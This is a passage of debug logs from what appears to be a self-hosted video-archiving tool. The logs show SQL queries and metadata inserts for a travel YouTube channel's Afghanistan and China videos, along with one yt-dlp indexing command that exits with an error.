16:11:38Z], ~U[2026-08-20 01:29:09Z], ~U[2026-08-20 01:29:09Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, 3, ~U[2025-11-21 16:11:38Z]] 18:29:09.533 [debug] QUERY OK source="sources" db=0.2ms idle=76.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:09.533 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:29:09.534 [debug] QUERY OK source="media_items" db=0.2ms queue=0.1ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18993] 18:29:09.534 [debug] Current batch of media processed. Will check again in 1000ms 18:29:10.535 [debug] Current batch of media processed. Will check again in 1000ms 18:29:11.536 [debug] Current batch of media processed. Will check again in 1000ms 18:29:12.537 [debug] Current batch of media processed. Will check again in 1000ms 18:29:13.538 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "duration" => 2078, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", "id" => "_uOW3KGPqtA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=_uOW3KGPqtA", "playlist_index" => 19, "timestamp" => 1762533339, "title" => "Afghanistan Broke Me..", "upload_date" => "20251107"} 18:29:13.539 [debug] QUERY OK source="sources" db=0.3ms idle=850.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:29:13.539 [debug] QUERY OK source="sources" db=0.2ms idle=851.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:13.540 [debug] QUERY OK source="media_items" db=0.2ms idle=851.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-07 16:35:39Z], 3] 18:29:13.541 [debug] QUERY OK source="media_items" db=0.7ms idle=852.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "1eb63e0e-1457-4732-ba5c-8a8a347d3bf6", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", 19, "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, false, false, 3, [], 98, ~U[2025-11-07 16:35:39Z], ~U[2026-08-20 01:29:13Z], ~U[2026-08-20 01:29:13Z], "Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, 3, ~U[2025-11-07 16:35:39Z]] 18:29:13.541 [debug] QUERY OK source="sources" db=0.2ms idle=80.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:13.542 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:29:13.542 [debug] QUERY OK source="media_items" db=0.3ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18994] 18:29:13.542 [debug] Current batch of media processed. Will check again in 1000ms 18:29:14.543 [debug] Current batch of media processed. Will check again in 1000ms 18:29:15.544 [debug] Current batch of media processed. Will check again in 1000ms 18:29:15.738 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@mikeokay --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Mike Okay/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/45/10/45106f9ba208a3a70ba1e92986e4432991cc1feb82153e8f3c516000a8bb3230.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c9/7a/c97ad74a8d9819ef23af982d9d893c41616ed7c66d5b80f3033ef9ed99e2fff3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 18:29:15.739 [debug] Gracefully stopping file follower 18:29:15.739 [debug] QUERY OK source="sources" db=0.2ms idle=1051.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:29:15.740 [debug] QUERY OK source="sources" db=0.1ms idle=1051.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:15.740 [debug] QUERY OK source="media_items" db=0.3ms idle=1052.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-31 14:42:45Z], 3] 18:29:15.742 [debug] QUERY OK source="media_items" db=1.0ms idle=1052.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "1fb56718-a007-49c9-bbd8-b2acc711244f", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", 1, "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", false, false, false, 3, [], 98, ~U[2026-07-31 14:42:45Z], ~U[2026-08-20 01:29:15Z], ~U[2026-08-20 01:29:15Z], "Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", false, 3, ~U[2026-07-31 14:42:45Z]] 18:29:15.742 [debug] QUERY OK source="sources" db=0.1ms idle=274.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:15.742 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-17 15:59:10Z], 3] 18:29:15.744 [debug] QUERY OK source="media_items" db=0.9ms idle=2.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "f0796e64-407f-4aba-811e-984a43870c17", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", 2, "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, false, false, 3, [], 98, ~U[2026-07-17 15:59:10Z], ~U[2026-08-20 01:29:15Z], ~U[2026-08-20 01:29:15Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, 3, ~U[2026-07-17 15:59:10Z]] 18:29:15.744 [debug] QUERY OK source="sources" db=0.1ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:15.745 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-26 19:42:50Z], 3] 18:29:15.746 [debug] QUERY OK source="media_items" db=0.7ms idle=2.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "cc06b2bc-8afa-4706-889e-a76e9b562236", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", 3, "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, false, false, 3, [], 98, ~U[2026-06-26 19:42:50Z], ~U[2026-08-20 01:29:15Z], ~U[2026-08-20 01:29:15Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, 3, ~U[2026-06-26 19:42:50Z]] 18:29:15.746 [debug] QUERY OK source="sources" db=0.1ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:15.746 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-19 15:55:20Z], 3] 18:29:15.747 [debug] QUERY OK source="media_items" db=0.6ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "bcc94fcf-9fd1-4477-bf3c-0eec5e94d313", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", 4, "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, false, false, 3, [], 98, ~U[2026-06-19 15:55:20Z], ~U[2026-08-20 01:29:15Z], ~U[2026-08-20 01:29:15Z], "Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, 3, ~U[2026-06-19 15:55:20Z]] 18:29:15.748 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:15.748 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND 